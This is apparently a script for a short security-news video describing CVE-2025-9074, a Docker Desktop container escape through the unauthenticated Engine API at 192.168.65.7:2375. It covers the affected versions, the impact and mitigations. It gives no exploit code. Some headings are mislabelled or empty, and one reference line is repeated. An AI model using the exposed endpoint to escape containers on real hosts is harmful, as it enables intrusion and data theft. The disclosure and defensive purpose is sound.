Docker Desktop: container escape via Docker Engine API exposure (CVE-2025-9074) #shorts

Summary

Welcome to Container Security Weekly. In today’s episode we’ll be discussing CVE-2025-9074, a critical container escape vulnerability in Docker Desktop with a CVSS score of 9.3. This flaw allows a local Linux container to reach the Docker Engine API on the default subnet, enabling attackers to execute privileged engine commands, control other containers, and in some Windows configurations even mount the host drive with user-level privileges.

Product details

The affected product is Docker Desktop, versions prior to 4.44.3. This includes both Docker Desktop for Windows (including WSL2 backend) and Docker Desktop for Mac. The vulnerability was first published on August 20, 2025, and Docker released patched installers on August 25, 2025.

Vulnerability type summary

CVE-2025-9074 is categorized under CWE-668: Exposure of Resource to Wrong Sphere. In container security terms, it’s a container escape or isolation bypass. An SSRF-like behavior within the host-to-container networking allows unauthorized access to the daemon API without proper authentication or TLS safeguards.

Details of the vulnerability

By design, Docker Desktop exposes the Engine API on the internal subnet at 192.168.65.7:2375. CVE-2025-9074 abuses that exposure even when Enhanced Container Isolation (ECI) is enabled or when the ‘Expose daemon on tcp://localhost:2375 without TLS’ option is disabled. A compromised or rogue Linux container can send API requests to that endpoint and perform any engine operation: spinning up new containers, stopping or deleting existing ones, pulling or pushing images, and modifying network or volume mounts. On Windows with WSL2, the exploit also permits mounting the host drive as the current user, creating a powerful local privilege escalation and lateral movement tool. Attackers can leverage this to exfiltrate data, tamper with supply chain components, or seed malicious containers.

Conclusion

To mitigate CVE-2025-9074, immediately upgrade Docker Desktop to version 4.44.3 or later. If you cannot upgrade, disable the Docker Engine TCP socket, restrict container network access, or enforce TLS and authentication on the API endpoint. Regularly audit container configurations and limit the privileges of local containers. That’s all for today’s deep dive. Stay safe, stay updated, and tune in next week for more container security insights.

This chain involves the following actors

• Malicious container process: Initiates unauthorized API calls to escape isolation
• Docker Engine daemon: Receives and executes privileged commands via its API
• Host user: Runs Docker Desktop and is at risk if the vulnerability is exploited

This following systems are involved

• Docker Desktop (Hosts and manages local container instances on developer workstations): Exposes the Docker Engine API on the local subnet by default
• Docker Engine API (Controls container lifecycle, images, volumes, and other engine operations): Listens on 192.168.65.7:2375 without authentication or encryption
• Linux container (Runs user workload in isolation): Launches the exploit code that calls the Docker API
• Host operating system (Provides the underlying kernel and file system): May be partially exposed when the container mounts host drives

Attack entry point

• Docker API endpoint: Unprotected HTTP interface at http://192.168.65.7:2375 on the configured Docker subnet

Remediation actions

Exploitation actions

• https://docs.docker.com/desktop/release-notes/#4443
• [2025-08-21] An SSRF vulnerability in Windows Docker Desktop allows for a full Docker escape.
• [2025-08-22] Critical vulnerability in Docker Desktop allows local container access to Docker Engine API, posing risks of supply-chain attacks and data leaks.
• [2025-08-25] Docker releases fix for critical container escape vulnerability CVE-2025-9074 with CVSS score 9.3.
• [2025-08-25] Docker releases fix for critical container escape vulnerability CVE-2025-9074 with CVSS score 9.3.